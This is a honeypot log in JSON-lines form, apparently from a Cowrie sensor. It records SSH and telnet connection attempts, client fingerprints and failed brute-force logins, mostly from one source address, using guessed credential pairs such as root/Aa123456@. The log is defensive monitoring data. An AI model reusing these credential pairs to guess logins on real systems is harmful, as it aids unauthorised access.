{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:27.289066Z","src_ip":"176.65.132.254","session":"206af6df5943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:27.371480Z","src_ip":"176.65.132.254","session":"206af6df5943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:27.647599Z","src_ip":"176.65.132.254","session":"206af6df5943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:28.738566Z","src_ip":"176.65.132.254","session":"206af6df5943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.65251183509827,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:31.542995Z","src_ip":"38.54.119.93","session":"03eba5800982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58668,"dst_ip":"10.17.0.5","dst_port":22,"session":"df619c435c64","protocol":"ssh","message":"New connection: 176.65.132.254:58668 (10.17.0.5:22) [session: df619c435c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:31.638104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:31.643574Z","src_ip":"176.65.132.254","session":"df619c435c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:31.736578Z","src_ip":"176.65.132.254","session":"df619c435c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:32.039593Z","src_ip":"176.65.132.254","session":"df619c435c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.891032457351685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:32.364651Z","src_ip":"134.209.8.29","session":"42f9d41b041e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:33.286011Z","src_ip":"176.65.132.254","session":"df619c435c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42286,"dst_ip":"10.17.0.5","dst_port":22,"session":"221ae6e1f565","protocol":"ssh","message":"New connection: 176.65.132.254:42286 (10.17.0.5:22) [session: 221ae6e1f565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:35.992251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:35.997167Z","src_ip":"176.65.132.254","session":"221ae6e1f565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:36.080287Z","src_ip":"176.65.132.254","session":"221ae6e1f565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:36.343400Z","src_ip":"176.65.132.254","session":"221ae6e1f565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:37.442437Z","src_ip":"176.65.132.254","session":"221ae6e1f565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42294,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb664bd56b2e","protocol":"ssh","message":"New connection: 176.65.132.254:42294 (10.17.0.5:22) [session: cb664bd56b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:40.084120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:40.088666Z","src_ip":"176.65.132.254","session":"cb664bd56b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:40.174001Z","src_ip":"176.65.132.254","session":"cb664bd56b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:40.561048Z","src_ip":"176.65.132.254","session":"cb664bd56b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39626,"dst_ip":"159.203.135.109","dst_port":23,"session":"512302bb8846","protocol":"telnet","message":"New connection: 134.209.8.29:39626 (159.203.135.109:23) [session: 512302bb8846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:41.232923Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:41.649846Z","src_ip":"176.65.132.254","session":"cb664bd56b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2c10207bca0","protocol":"ssh","message":"New connection: 176.65.132.254:49222 (10.17.0.5:22) [session: e2c10207bca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:44.540555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:44.545180Z","src_ip":"176.65.132.254","session":"e2c10207bca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:44.645029Z","src_ip":"176.65.132.254","session":"e2c10207bca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:44.899434Z","src_ip":"176.65.132.254","session":"e2c10207bca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.40590214729309,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:45.600582Z","src_ip":"134.209.8.29","session":"c19d1f3361f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:45.983691Z","src_ip":"176.65.132.254","session":"e2c10207bca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49234,"dst_ip":"10.17.0.5","dst_port":22,"session":"58be96e5436c","protocol":"ssh","message":"New connection: 176.65.132.254:49234 (10.17.0.5:22) [session: 58be96e5436c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:48.878500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:48.883191Z","src_ip":"176.65.132.254","session":"58be96e5436c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:48.965858Z","src_ip":"176.65.132.254","session":"58be96e5436c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:49.245806Z","src_ip":"176.65.132.254","session":"58be96e5436c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.49512767791748,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:49.404127Z","src_ip":"38.54.119.93","session":"ef190cc38675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39638,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0ff6696ce7","protocol":"telnet","message":"New connection: 134.209.8.29:39638 (159.203.135.109:23) [session: ee0ff6696ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:49.784666Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:50.475010Z","src_ip":"176.65.132.254","session":"58be96e5436c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":47404,"dst_ip":"159.203.135.109","dst_port":22,"session":"befa62946013","protocol":"ssh","message":"New connection: 152.32.189.59:47404 (159.203.135.109:22) [session: befa62946013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:51.164400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:51.270721Z","src_ip":"152.32.189.59","session":"befa62946013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:51.483547Z","src_ip":"152.32.189.59","session":"befa62946013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser1","password":"tempuser1","message":"login attempt [tempuser1/tempuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:52.344629Z","src_ip":"152.32.189.59","session":"befa62946013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55044,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c533049b6ac","protocol":"ssh","message":"New connection: 176.65.132.254:55044 (10.17.0.5:22) [session: 1c533049b6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:53.320543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:53.325241Z","src_ip":"176.65.132.254","session":"1c533049b6ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:53.407248Z","src_ip":"176.65.132.254","session":"1c533049b6ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:53.565138Z","src_ip":"152.32.189.59","session":"befa62946013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:53.657993Z","src_ip":"176.65.132.254","session":"1c533049b6ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:53:54.752843Z","src_ip":"176.65.132.254","session":"1c533049b6ac","protocol":"ssh"}
